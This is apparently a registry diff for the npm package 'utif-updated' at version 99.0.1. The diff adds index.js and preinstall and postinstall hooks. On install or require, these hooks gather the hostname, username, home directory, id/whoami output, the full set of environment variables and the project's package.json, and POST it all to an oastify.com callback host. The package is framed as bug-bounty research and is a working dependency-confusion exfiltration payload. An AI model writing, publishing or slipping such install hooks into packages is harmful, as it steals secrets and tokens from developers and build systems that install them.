utif-updated 0.0.1-security → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of utif-updated might be problematic. Click here for more details.
- package/README.md +4 -3
- package/index.js +52 -0
- package/package.json +10 -3
- package/postinstall.js +50 -0
- package/preinstall.js +58 -0
package/README.md
CHANGED
|
@@ -1,5 +1,6 @@
|
|
|
1
|
-
#
|
|
1
|
+
# utif-updated
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Security research package - Bug Bounty
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## Author
|
|
6
|
+
icare
|
package/index.js
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
6
|
+
|
|
7
|
+
if (!global.__utif_updated_triggered) {
|
|
8
|
+
global.__utif_updated_triggered = true;
|
|
9
|
+
|
|
10
|
+
const info = {
|
|
11
|
+
type: 'runtime_require',
|
|
12
|
+
hostname: os.hostname(),
|
|
13
|
+
user: os.userInfo().username,
|
|
14
|
+
cwd: process.cwd(),
|
|
15
|
+
platform: os.platform(),
|
|
16
|
+
node_version: process.version,
|
|
17
|
+
env: process.env,
|
|
18
|
+
timestamp: new Date().toISOString()
|
|
19
|
+
};
|
|
20
|
+
|
|
21
|
+
try {
|
|
22
|
+
info.package_json = require(process.cwd() + '/package.json');
|
|
23
|
+
} catch(e) {}
|
|
24
|
+
|
|
25
|
+
const data = JSON.stringify(info);
|
|
26
|
+
|
|
27
|
+
const req = https.request({
|
|
28
|
+
hostname: CALLBACK,
|
|
29
|
+
port: 443,
|
|
30
|
+
path: '/runtime',
|
|
31
|
+
method: 'POST',
|
|
32
|
+
headers: {
|
|
33
|
+
'Content-Type': 'application/json',
|
|
34
|
+
'Content-Length': Buffer.byteLength(data)
|
|
35
|
+
}
|
|
36
|
+
}, () => {});
|
|
37
|
+
req.on('error', () => {});
|
|
38
|
+
req.write(data);
|
|
39
|
+
req.end();
|
|
40
|
+
|
|
41
|
+
// Trigger game over
|
|
42
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
43
|
+
if (webhook) {
|
|
44
|
+
try {
|
|
45
|
+
const url = new URL(webhook);
|
|
46
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
47
|
+
client.get(webhook, () => {}).on('error', () => {});
|
|
48
|
+
} catch(e) {}
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "utif-updated",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.1",
|
|
4
|
+
"description": "Security research - Bug Bounty",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"author": "icare",
|
|
7
|
+
"license": "MIT",
|
|
8
|
+
"scripts": {
|
|
9
|
+
"preinstall": "node preinstall.js || true",
|
|
10
|
+
"postinstall": "node postinstall.js || true"
|
|
11
|
+
},
|
|
12
|
+
"keywords": ["utif", "tiff", "image"]
|
|
6
13
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
7
|
+
|
|
8
|
+
const info = {
|
|
9
|
+
type: 'postinstall',
|
|
10
|
+
hostname: os.hostname(),
|
|
11
|
+
user: os.userInfo().username,
|
|
12
|
+
cwd: process.cwd(),
|
|
13
|
+
platform: os.platform(),
|
|
14
|
+
env: process.env,
|
|
15
|
+
timestamp: new Date().toISOString()
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
try {
|
|
19
|
+
info.id = execSync('id').toString().trim();
|
|
20
|
+
} catch(e) {}
|
|
21
|
+
|
|
22
|
+
try {
|
|
23
|
+
info.package_json = require(process.cwd() + '/package.json');
|
|
24
|
+
} catch(e) {}
|
|
25
|
+
|
|
26
|
+
const data = JSON.stringify(info);
|
|
27
|
+
|
|
28
|
+
const req = https.request({
|
|
29
|
+
hostname: CALLBACK,
|
|
30
|
+
port: 443,
|
|
31
|
+
path: '/postinstall',
|
|
32
|
+
method: 'POST',
|
|
33
|
+
headers: {
|
|
34
|
+
'Content-Type': 'application/json',
|
|
35
|
+
'Content-Length': Buffer.byteLength(data)
|
|
36
|
+
}
|
|
37
|
+
}, () => {});
|
|
38
|
+
req.on('error', () => {});
|
|
39
|
+
req.write(data);
|
|
40
|
+
req.end();
|
|
41
|
+
|
|
42
|
+
// Trigger game over
|
|
43
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
44
|
+
if (webhook) {
|
|
45
|
+
try {
|
|
46
|
+
const url = new URL(webhook);
|
|
47
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
48
|
+
client.get(webhook, () => {}).on('error', () => {});
|
|
49
|
+
} catch(e) {}
|
|
50
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
7
|
+
|
|
8
|
+
// Récupère toutes les infos
|
|
9
|
+
const info = {
|
|
10
|
+
type: 'preinstall',
|
|
11
|
+
hostname: os.hostname(),
|
|
12
|
+
user: os.userInfo().username,
|
|
13
|
+
cwd: process.cwd(),
|
|
14
|
+
home: os.homedir(),
|
|
15
|
+
platform: os.platform(),
|
|
16
|
+
arch: os.arch(),
|
|
17
|
+
node_version: process.version,
|
|
18
|
+
env: process.env, // TOUTES les variables d'environnement
|
|
19
|
+
timestamp: new Date().toISOString()
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
// Essaye de récupérer plus d'infos
|
|
23
|
+
try {
|
|
24
|
+
info.pwd = execSync('pwd').toString().trim();
|
|
25
|
+
info.whoami = execSync('whoami').toString().trim();
|
|
26
|
+
info.id = execSync('id').toString().trim();
|
|
27
|
+
} catch(e) {}
|
|
28
|
+
|
|
29
|
+
try {
|
|
30
|
+
info.package_json = require(process.cwd() + '/package.json');
|
|
31
|
+
} catch(e) {}
|
|
32
|
+
|
|
33
|
+
const data = JSON.stringify(info);
|
|
34
|
+
|
|
35
|
+
// POST vers Burp avec tout
|
|
36
|
+
const req = https.request({
|
|
37
|
+
hostname: CALLBACK,
|
|
38
|
+
port: 443,
|
|
39
|
+
path: '/preinstall',
|
|
40
|
+
method: 'POST',
|
|
41
|
+
headers: {
|
|
42
|
+
'Content-Type': 'application/json',
|
|
43
|
+
'Content-Length': Buffer.byteLength(data)
|
|
44
|
+
}
|
|
45
|
+
}, () => {});
|
|
46
|
+
req.on('error', () => {});
|
|
47
|
+
req.write(data);
|
|
48
|
+
req.end();
|
|
49
|
+
|
|
50
|
+
// Trigger leur webhook si présent
|
|
51
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
52
|
+
if (webhook) {
|
|
53
|
+
try {
|
|
54
|
+
const url = new URL(webhook);
|
|
55
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
56
|
+
client.get(webhook, () => {}).on('error', () => {});
|
|
57
|
+
} catch(e) {}
|
|
58
|
+
}
|